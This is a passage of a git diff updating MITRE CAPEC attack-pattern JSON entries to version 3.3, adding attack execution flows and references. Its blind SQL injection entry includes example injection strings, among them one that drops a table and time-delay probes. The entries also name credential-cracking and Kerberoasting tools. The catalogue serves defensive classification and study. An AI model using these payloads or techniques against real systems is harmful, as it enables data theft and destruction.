12,356,631, an attack that tries each of the entries in the English dictionary would go even faster.\n ", "A weakness exists in the automatic password generation routine of Mailman prior to 2.1.5 that causes only about five million different passwords to be generated. This makes it easy to brute force the password for all users who decided to let Mailman automatically generate their passwords for them. Users who chose their own passwords during the sign up process would not have been affected (assuming that they chose strong passwords). See also: CVE-2004-1143" ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Determine application's/system's password policy: Determine the password policies of the target application/system.

    2. Techniques
    Determine minimum and maximum allowed password lengths.
    Determine format of allowed passwords (whether they are required or allowed to contain numbers, special characters, etc.).
    Determine account lockout policy (a strict account lockout policy will prevent brute force attacks).

Exploit

  1. Brute force password: Given the finite space of possible passwords dictated by the password policy determined in the previous step, try all possible passwords for a known user ID until application/system grants access.

    2. Techniques
    Manually or automatically enter all possible passwords through the application/system's interface. In most systems, start with the shortest and simplest possible passwords, because most users tend to select such passwords if allowed to do so.
    Perform an offline dictionary attack or a rainbow table attack against a known password hash.
", "x_capec_likelihood_of_attack": "Medium", "x_capec_prerequisites": [ "An adversary needs to know a username to target.", @@ -76,7 +102,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--8e3a14fd-870a-4286-866d-805107c7d922.json b/capec/attack-pattern/attack-pattern--8e3a14fd-870a-4286-866d-805107c7d922.json index 58ca743153..26c54ca2a6 100644 --- a/capec/attack-pattern/attack-pattern--8e3a14fd-870a-4286-866d-805107c7d922.json +++ b/capec/attack-pattern/attack-pattern--8e3a14fd-870a-4286-866d-805107c7d922.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--067f8468-bd36-4834-b3ed-fdc86cc3a219", + "id": "bundle--d58bb89a-59b8-4bfe-aec3-213fe2e5373f", "spec_version": "2.0", "objects": [ { @@ -60,7 +60,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--8e403d18-af4e-4abd-bd38-0f99f74b4636.json b/capec/attack-pattern/attack-pattern--8e403d18-af4e-4abd-bd38-0f99f74b4636.json index 03065ed2fe..f4f77645a8 100644 --- a/capec/attack-pattern/attack-pattern--8e403d18-af4e-4abd-bd38-0f99f74b4636.json +++ b/capec/attack-pattern/attack-pattern--8e403d18-af4e-4abd-bd38-0f99f74b4636.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--39dd03cf-3053-4540-8d93-6799098347e5", + "id": "bundle--9d9f29a1-a2c4-45c1-b169-ccef05c64c57", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--8e403d18-af4e-4abd-bd38-0f99f74b4636", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Overflow Variables and Tags", "description": "This type of attack leverages the use of tags or variables from a formatted configuration data to cause buffer overflow. The attacker crafts a malicious HTML page or configuration file that includes oversized strings, thus causing an overflow.", "external_references": [ @@ -85,6 +85,7 @@ "\n Attack Example: Overflow Variables and Tags in MidiPlug\n A buffer overflow vulnerability exists in the Yamaha MidiPlug that can be accessed via a Text variable found in an EMBED tag.See also: CVE-1999-0946", "\n Attack Example: Overflow Variables and Tags in Exim\n A buffer overflow in Exim allows local users to gain root privileges by providing a long :include: option in a .forward file.See also: CVE-1999-0971" ], + "x_capec_execution_flow": "

Execution Flow

Experiment

  1. The attacker modifies a tag or variable from a formatted configuration data. For instance they change it to an oversized string.

Exploit

  1. The target program consumes the data modified by the attacker without prior boundary checking. As a consequence, a buffer overflow occurs and at worst remote code execution may follow.

", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "The target program consumes user-controllable data in the form of tags or variables.", @@ -96,7 +97,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--8e564ade-17a8-471e-8e2a-4dd2d556ecd2.json b/capec/attack-pattern/attack-pattern--8e564ade-17a8-471e-8e2a-4dd2d556ecd2.json index b8eb164a6d..e306b29cb0 100644 --- a/capec/attack-pattern/attack-pattern--8e564ade-17a8-471e-8e2a-4dd2d556ecd2.json +++ b/capec/attack-pattern/attack-pattern--8e564ade-17a8-471e-8e2a-4dd2d556ecd2.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--11e9e085-c278-405b-b3f5-bb0f34788334", + "id": "bundle--350ba3c3-f251-4c3d-a431-b80d6e119c02", "spec_version": "2.0", "objects": [ { @@ -41,7 +41,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--8f665166-dfd1-40cb-91e8-b78bee1ceb6a.json b/capec/attack-pattern/attack-pattern--8f665166-dfd1-40cb-91e8-b78bee1ceb6a.json index 89be2c62de..3d64960a02 100644 --- a/capec/attack-pattern/attack-pattern--8f665166-dfd1-40cb-91e8-b78bee1ceb6a.json +++ b/capec/attack-pattern/attack-pattern--8f665166-dfd1-40cb-91e8-b78bee1ceb6a.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--62a8ecf8-c18e-4dd9-b8d0-6b2b6fefb1c1", + "id": "bundle--120b23f7-9998-403e-ac01-5b066c06ccf1", "spec_version": "2.0", "objects": [ { @@ -35,7 +35,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--8f70b1fb-393f-4494-b4ad-67f1a2107975.json b/capec/attack-pattern/attack-pattern--8f70b1fb-393f-4494-b4ad-67f1a2107975.json index f3265a71d2..ac85b09469 100644 --- a/capec/attack-pattern/attack-pattern--8f70b1fb-393f-4494-b4ad-67f1a2107975.json +++ b/capec/attack-pattern/attack-pattern--8f70b1fb-393f-4494-b4ad-67f1a2107975.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--69f4d057-3736-479a-8b39-22b2b338ab48", + "id": "bundle--972b9d0e-efe9-4ee7-aab3-f6e9c6cbcf04", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--8f70b1fb-393f-4494-b4ad-67f1a2107975", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "XML Quadratic Expansion", "description": "An adversary exploits a few properties of XML(substitution entities and inline DTDs) to cause a denial of service situation due to excessive memory being allocated to fully expand the XML. The result of this denial of service could cause the application to freeze or crash.", "external_references": [ @@ -34,7 +34,7 @@ "This type of attack requires a server that accepts XML data and parses the data." ], "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--8f91fa23-b5c4-48f1-be6c-99582524f8cc.json b/capec/attack-pattern/attack-pattern--8f91fa23-b5c4-48f1-be6c-99582524f8cc.json index 8ca258ccc0..4e9aff7382 100644 --- a/capec/attack-pattern/attack-pattern--8f91fa23-b5c4-48f1-be6c-99582524f8cc.json +++ b/capec/attack-pattern/attack-pattern--8f91fa23-b5c4-48f1-be6c-99582524f8cc.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--ab44f57c-7c8b-452f-b139-e6c632d4a295", + "id": "bundle--b075b7ed-f644-4ba9-8d67-a8f8bcfa3b32", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--8f91fa23-b5c4-48f1-be6c-99582524f8cc", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Block Logging to Central Repository", "description": "An adversary may attempt to block indicators from leaving the host machine. In the case of network based reporting of indicators, an adversary may block traffic associated with reporting to prevent central station analysis. This may be accomplished by many means such as stopping a local process to creating a host-based firewall rule to block traffic to a specific server.", "external_references": [ @@ -16,6 +16,12 @@ "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/571.html", "external_id": "CAPEC-571" + }, + { + "source_name": "ATTACK", + "description": "Impair Defenses:Indicator Blocking", + "url": "https://attack.mitre.org/wiki/Technique/T1562/006", + "external_id": "T1562.006" } ], "object_marking_refs": [ @@ -24,7 +30,7 @@ "x_capec_abstraction": "Standard", "x_capec_status": "Draft", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--9116da7f-a60e-4186-b42a-218f1b0eb269.json b/capec/attack-pattern/attack-pattern--9116da7f-a60e-4186-b42a-218f1b0eb269.json index c7c28e7c12..b92cb28ccc 100644 --- a/capec/attack-pattern/attack-pattern--9116da7f-a60e-4186-b42a-218f1b0eb269.json +++ b/capec/attack-pattern/attack-pattern--9116da7f-a60e-4186-b42a-218f1b0eb269.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--81d840ad-ad8c-4805-84ae-c6b00edd6caf", + "id": "bundle--908ecc38-79f6-4c5f-81b4-f01c09c70af0", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--9116da7f-a60e-4186-b42a-218f1b0eb269", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Blind SQL Injection", "description": "Blind SQL Injection results from an insufficient mitigation for SQL Injection. Although suppressing database error messages are considered best practice, the suppression alone is not sufficient to prevent SQL Injection. Blind SQL Injection is a form of SQL Injection that overcomes the lack of error messages. Without the error messages that facilitate SQL Injection, the adversary constructs input strings that probe the target through simple Boolean SQL expressions. The adversary can determine if the syntax and structure of the injection was successful based on whether the query was executed or not. Applied iteratively, the adversary determines how and where the target is vulnerable to SQL Injection.", "external_references": [ @@ -74,6 +74,7 @@ "\n An adversary may try entering something like \"username' AND 1=1; --\" in an input field. If the result is the same as when the adversary entered \"username\" in the field, then the adversary knows that the application is vulnerable to SQL Injection. The adversary can then ask yes/no questions from the database server to extract information from it. For example, the adversary can extract table names from a database using the following types of queries:\n \"username' AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1, 1))) > 108\".\n If the above query executes properly, then the adversary knows that the first character in a table name in the database is a letter between m and z. If it doesn't, then the adversary knows that the character must be between a and l (assuming of course that table names only contain alphabetic characters). By performing a binary search on all character positions, the adversary can determine all table names in the database. Subsequently, the adversary may execute an actual attack and send something like:\n \"username'; DROP TABLE trades; --\n ", "In the PHP application TimeSheet 1.1, an adversary can successfully retrieve username and password hashes from the database using Blind SQL Injection. If the adversary is aware of the local path structure, the adversary can also remotely execute arbitrary code and write the output of the injected queries to the local path. Blind SQL Injection is possible since the application does not properly sanitize the $_POST['username'] variable in the login.php file. See also: CVE-2006-4705" ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. [Hypothesize SQL queries in application]Generated hypotheses regarding the SQL queries in an application. For example, the adversary may hypothesize that their input is passed directly into a query that looks like:\n \"SELECT * FROM orders WHERE ordernum = _____\"or\"SELECT * FROM orders WHERE ordernum IN (_____)\"or\"SELECT * FROM orders WHERE ordernum in (_____) ORDER BY _____\"\n Of course, there are many other possibilities.\n

    2. Techniques
    Research types of SQL queries and determine which ones could be used at various places in an application.

  2. [Determine how to inject information into the queries]Determine how to inject information into the queries from the previous step such that the injection does not impact their logic. For example, the following are possible injections for those queries:\n \"5' OR 1=1; --\"and\"5) OR 1=1; --\"and\"ordernum DESC; --\"\n

    3. Techniques
    Add clauses to the SQL queries such that the query logic does not change.
    Add delays to the SQL queries in case server does not provide clear error messages (e.g. WAITFOR DELAY '0:0:10' in SQL Server or BENCHMARK(1000000000,MD5(1) in MySQL). If these can be injected into the queries, then the length of time that the server takes to respond reveals whether the query is injectable or not.

Experiment

  1. Determine user-controllable input susceptible to injection: Determine the user-controllable input susceptible to injection. For each user-controllable input that the adversary suspects is vulnerable to SQL injection, attempt to inject the values determined in the previous step. If an error does not occur, then the adversary knows that the SQL injection was successful.

    2. Techniques
    Use web browser to inject input through text fields or through HTTP GET parameters.
    Use a web application debugging tool such as Tamper Data, TamperIE, WebScarab,etc. to modify HTTP POST parameters, hidden fields, non-freeform fields, etc.
    Use network-level packet injection tools such as netcat to inject input
    Use modified client (modified by reverse engineering) to inject input.

  2. Determine database type: Determines the type of the database, such as MS SQL Server or Oracle or MySQL, using logical conditions as part of the injected queries

    3. Techniques
    Try injecting a string containing char(0x31)=char(0x31) (this evaluates to 1=1 in SQL Server only)
    Try injecting a string containing 0x313D31 (this evaluates to 1=1 in MySQL only)
    Inject other database-specific commands into input fields susceptible to SQL Injection. The adversary can determine the type of database that is running by checking whether the query executed successfully or not (i.e. whether the adversary received a normal response from the server or not).

Exploit

  1. Extract information about database schema: Extract information about database schema by getting the database to answer yes/no questions about the schema.

    2. Techniques
    Automatically extract database schema using a tool such as Absinthe.
    Manually perform the blind SQL Injection to extract desired information about the database schema.

  2. Exploit SQL Injection vulnerability: Use the information obtained in the previous steps to successfully inject the database in order to bypass checks or modify, add, retrieve or delete data from the database

    3. Techniques
    Use information about how to inject commands into SQL queries as well as information about the database schema to execute attacks such as dropping tables, inserting records, etc.
", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "SQL queries used by the application to store, retrieve or modify data.", @@ -87,7 +88,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--913426fa-ea1f-43b0-8492-1d363ea109d6.json b/capec/attack-pattern/attack-pattern--913426fa-ea1f-43b0-8492-1d363ea109d6.json index 0549805b10..1856f4474a 100644 --- a/capec/attack-pattern/attack-pattern--913426fa-ea1f-43b0-8492-1d363ea109d6.json +++ b/capec/attack-pattern/attack-pattern--913426fa-ea1f-43b0-8492-1d363ea109d6.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--6b27cede-3566-4955-9e6f-632113c6a371", + "id": "bundle--782061ab-dc2c-4f8f-9590-8821d4257866", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--913426fa-ea1f-43b0-8492-1d363ea109d6", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-05-01T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Excavation", "description": "An adversary actively probes the target in a manner that is designed to solicit information that could be leveraged for malicious purposes. This is achieved by exploring the target via ordinary interactions for the purpose of gathering intelligence about the target, or by sending data that is syntactically invalid or non-standard in an attempt to produce a response that contains the desired data. As a result of these interactions, the adversary is able to obtain information from the target that aids the attacker in making inferences about its security, configuration, or potential vulnerabilities. Examplar exchanges with the target may trigger unhandled exceptions or verbose error messages that reveal information like stack traces, configuration information, path information, or database design. This type of attack also includes the manipulation of query strings in a URI to produce invalid SQL queries, or by trying alternative path values in the hope that the server will return useful information.", "external_references": [ @@ -21,6 +21,11 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/200.html", "external_id": "CWE-200" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1243.html", + "external_id": "CWE-1243" } ], "object_marking_refs": [ @@ -41,7 +46,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--9197c7a2-6a03-40da-b2a6-df5f1d69e8fb.json b/capec/attack-pattern/attack-pattern--9197c7a2-6a03-40da-b2a6-df5f1d69e8fb.json index e909be7a2d..897d067572 100644 --- a/capec/attack-pattern/attack-pattern--9197c7a2-6a03-40da-b2a6-df5f1d69e8fb.json +++ b/capec/attack-pattern/attack-pattern--9197c7a2-6a03-40da-b2a6-df5f1d69e8fb.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--83cd97aa-4fee-46d5-98c3-a3e29ab7f7a7", + "id": "bundle--68377dac-4eaa-438e-88ac-bdd1b73bff86", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--9197c7a2-6a03-40da-b2a6-df5f1d69e8fb", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2019-04-04T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Kerberoasting", "description": "Through the exploitation of how service accounts leverage Kerberos authentication with Service Principal Names (SPNs), the adversary obtains and subsequently cracks the hashed credentials of a service account target to exploit its privileges. The Kerberos authentication protocol centers around a ticketing system which is used to request/grant access to services and to then access the requested services. As an authenticated user, the adversary may request Active Directory and obtain a service ticket with portions encrypted via RC4 with the private key of the authenticated account. By extracting the local ticket and saving it disk, the adversary can brute force the hashed value to reveal the target account credentials.", "external_references": [ @@ -19,14 +19,62 @@ }, { "source_name": "cwe", - "url": "http://cwe.mitre.org/data/definitions/552.html", - "external_id": "CWE-552" + "url": "http://cwe.mitre.org/data/definitions/522.html", + "external_id": "CWE-522" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/308.html", + "external_id": "CWE-308" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/309.html", + "external_id": "CWE-309" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/294.html", + "external_id": "CWE-294" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/263.html", + "external_id": "CWE-263" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/262.html", + "external_id": "CWE-262" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/521.html", + "external_id": "CWE-521" + }, + { + "source_name": "ATTACK", + "description": "Steal or Forge Kerberos Tickets:Kerberoasting", + "url": "https://attack.mitre.org/wiki/Technique/T1558/003", + "external_id": "T1558.003" }, { "source_name": "reference_from_CAPEC", "description": "Jeff Warren, Extracting Service Account Passwords with Kerberoasting, 2017--05---09", "url": "https://blog.stealthbits.com/extracting-service-account-passwords-with-kerberoasting/", "external_id": "REF-559" + }, + { + "source_name": "reference_from_CAPEC", + "description": "Kerberoasting Without Mimikatz, 2016--11---01", + "url": "https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/", + "external_id": "REF-585" + }, + { + "source_name": "reference_from_CAPEC", + "description": "Invoke-Kerberoast", + "url": "https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Kerberoast/", + "external_id": "REF-586" } ], "object_marking_refs": [ @@ -38,6 +86,10 @@ "Gain Privileges" ] }, + "x_capec_example_instances": [ + "PowerSploit's Invoke-Kerberoast module can be leveraged to request Ticket Granting Service (TGS) tickets and return crackable ticket hashes. [REF-585] [REF-586]" + ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Scan for user accounts with set SPN values

    2. Techniques
    These can be found via Powershell or LDAP queries, as well as enumerating startup name accounts and other means.

  2. Request service tickets

    3. Techniques
    Using user account's SPN value, request other service tickets from Active Directory

Experiment

  1. Extract ticket and save to disk

    2. Techniques
    Certain tools like Mimikatz can extract local tickets and save them to memory/disk.

Exploit

  1. Crack the encrypted ticket to harvest plain text credentials

    2. Techniques
    Leverage a brute force application/script on the hashed value offline until cracked. The shorter the password, the easier it is to crack.
", "x_capec_prerequisites": [ "The adversary requires access as an authenticated user on the system. This attack pattern relates to elevating privileges.", "The adversary requires use of a third-party credential harvesting tool (e.g., Mimikatz).", @@ -46,9 +98,9 @@ "x_capec_skills_required": { "Medium": "" }, - "x_capec_status": "Draft", + "x_capec_status": "Stable", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--9250f041-d55b-4610-aff0-979b5800dc18.json b/capec/attack-pattern/attack-pattern--9250f041-d55b-4610-aff0-979b5800dc18.json index 7f62ce4baa..9e63c33d6a 100644 --- a/capec/attack-pattern/attack-pattern--9250f041-d55b-4610-aff0-979b5800dc18.json +++ b/capec/attack-pattern/attack-pattern--9250f041-d55b-4610-aff0-979b5800dc18.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--60ba3783-8559-48d1-a967-5265d103c78a", + "id": "bundle--032bdc41-a803-433a-a0c3-5d3d1a9d8b49", "spec_version": "2.0", "objects": [ { @@ -8,25 +8,56 @@ "id": "attack-pattern--9250f041-d55b-4610-aff0-979b5800dc18", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Signature Spoofing by Improper Validation", - "description": "An attacker exploits a cryptographic weakness in the signature verification algorithm implementation to generate a valid signature without knowing the key.", + "description": "An adversary exploits a cryptographic weakness in the signature verification algorithm implementation to generate a valid signature without knowing the key. Signature verification algorithms are generally used to determine whether a certificate or piece of code (e.g. executable, binary, etc.) possesses a valid signature and can be trusted. If the leveraged algorithm confirms that a valid signature exists, it establishes a foundation of trust that is further conveyed to the end-user when interacting with a website or application. However, if the signature verification algorithm improperly validates the signature, either by not validating the signature at all or by failing to fully validate the signature, it could result in an adversary generating a spoofed signature and being classified as a legitimate entity. Successfully exploiting such a weakness could further allow the adversary to reroute users to malicious sites, steals files, activates microphones, records keystrokes and passwords, wipes disks, installs malware, and more.", "external_references": [ { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/475.html", "external_id": "CAPEC-475" }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/347.html", + "external_id": "CWE-347" + }, { "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/327.html", "external_id": "CWE-327" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/295.html", + "external_id": "CWE-295" + }, + { + "source_name": "reference_from_CAPEC", + "description": "Kenn White, Microsoft's Chain of Fools, 2020--01---15, First Principles", + "url": "https://blog.lessonslearned.org/chain-of-fools/", + "external_id": "REF-562" + }, + { + "source_name": "reference_from_CAPEC", + "description": "Patch Critical Cryptographic Vulnerability in Microsoft Windows Clients and Servers, 2020--01---14, National Security Agency (NSA)", + "url": "https://media.defense.gov/2020/Jan/14/2002234275/-1/-1/0/CSA-WINDOWS-10-CRYPT-LIB-20190114.PDF", + "external_id": "REF-563" + }, + { + "source_name": "reference_from_CAPEC", + "description": "Thomas Ptacek, Thomas Pornin, Analysis of REF-563, Hacker News", + "url": "https://news.ycombinator.com/item?id=22048619", + "external_id": "REF-564" } ], "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "x_capec_abstraction": "Detailed", + "x_capec_example_instances": [ + "The Windows CryptoAPI (Crypt32.dll) was shown to be vulnerable to signature spoofing by failing to properly validate Elliptic Curve Cryptography (ECC) certificates. If the CryptoAPI's signature validator allows the specification of a nonstandard base point (G): \"An attacker can create a custom ECDSA certificate with an elliptic curve (ECC) signature that appears to match a known standard curve, like P-256 that includes a public key for an existing known trusted certificate authority, but which was in fact not signed by that certificate authority. Windows checks the public key and other curve parameters, but not the (bespoke attacker-supplied) base point generator (G) parameter constant which actually generated the curve\" [REF-562]. Exploiting this vulnerability allows the adversary to leverage a spoofed certificate to dupe trusted network connections and deliver/execute malicious code, while appearing as legitimately trusted entity [REF-563]. This ultimately tricks the victim into believing the malicious website or executable is legitimate and originates from a properly verified source. See also: CVE-2020-0601" + ], "x_capec_likelihood_of_attack": "Low", "x_capec_prerequisites": [ "Recipient is using a weak cryptographic signature verification algorithm or a weak implementation of a cryptographic signature verification algorithm, or the configuration of the recipient's application accepts the use of keys generated using cryptographically weak signature verification algorithms." @@ -36,7 +67,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--929e7d9a-b34c-43ad-b58b-b8df918c4f62.json b/capec/attack-pattern/attack-pattern--929e7d9a-b34c-43ad-b58b-b8df918c4f62.json index abd6e20693..9078210c4c 100644 --- a/capec/attack-pattern/attack-pattern--929e7d9a-b34c-43ad-b58b-b8df918c4f62.json +++ b/capec/attack-pattern/attack-pattern--929e7d9a-b34c-43ad-b58b-b8df918c4f62.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--4193e562-5bd5-4468-a0e1-1c34fbb92b7d", + "id": "bundle--b5f3bc19-9a7b-44e4-a003-848529bb8b45", "spec_version": "2.0", "objects": [ { @@ -47,7 +47,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--92cdcd3d-d734-4442-afc3-4599f261498b.json b/capec/attack-pattern/attack-pattern--92cdcd3d-d734-4442-afc3-4599f261498b.json index 7b1d338591..b601f0621a 100644 --- a/capec/attack-pattern/attack-pattern--92cdcd3d-d734-4442-afc3-4599f261498b.json +++ b/capec/attack-pattern/attack-pattern--92cdcd3d-d734-4442-afc3-4599f261498b.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--bd76297a-ead3-467a-aa8d-7fb19f44100c", + "id": "bundle--c7e97894-7272-489d-9c7b-bdbf775cabfc", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--92cdcd3d-d734-4442-afc3-4599f261498b", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Accessing Functionality Not Properly Constrained by ACLs", "description": "In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.", "external_references": [ @@ -46,6 +46,62 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/434.html", "external_id": "CWE-434" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1191.html", + "external_id": "CWE-1191" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1193.html", + "external_id": "CWE-1193" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1220.html", + "external_id": "CWE-1220" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1224.html", + "external_id": "CWE-1224" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1244.html", + "external_id": "CWE-1244" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1252.html", + "external_id": "CWE-1252" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1257.html", + "external_id": "CWE-1257" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1262.html", + "external_id": "CWE-1262" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1268.html", + "external_id": "CWE-1268" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1283.html", + "external_id": "CWE-1283" + }, + { + "source_name": "ATTACK", + "description": "Hijack Execution Flow: ServicesFile Permissions Weakness", + "url": "https://attack.mitre.org/wiki/Technique/T1574/010", + "external_id": "T1574.010" } ], "object_marking_refs": [ @@ -66,6 +122,7 @@ "x_capec_example_instances": [ "\n Implementing the Model-View-Controller (MVC) within Java EE's Servlet paradigm using a \"Single front controller\" pattern that demands that brokered HTTP requests be authenticated before hand-offs to other Action Servlets.\n If no security-constraint is placed on those Action Servlets, such that positively no one can access them, the front controller can be subverted.\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Survey: The attacker surveys the target application, possibly as a valid and authenticated user

    2. Techniques
    Spidering web sites for all available links
    Brute force guessing of resource names
    Brute force guessing of user names / credentials
    Brute force guessing of function names / actions

  2. Identify Functionality: At each step, the attacker notes the resource or functionality access mechanism invoked upon performing specific actions

    3. Techniques
    Use the web inventory of all forms and inputs and apply attack data to those inputs.
    Use a packet sniffer to capture and record network traffic
    Execute the software in a debugger and record API calls into the operating system or important libraries. This might occur in an environment other than a production environment, in order to find weaknesses that can be exploited in a production environment.

Experiment

  1. Iterate over access capabilities: Possibly as a valid user, the attacker then tries to access each of the noted access mechanisms directly in order to perform functions not constrained by the ACLs.

    2. Techniques
    Fuzzing of API parameters (URL parameters, OS API parameters, protocol parameters)
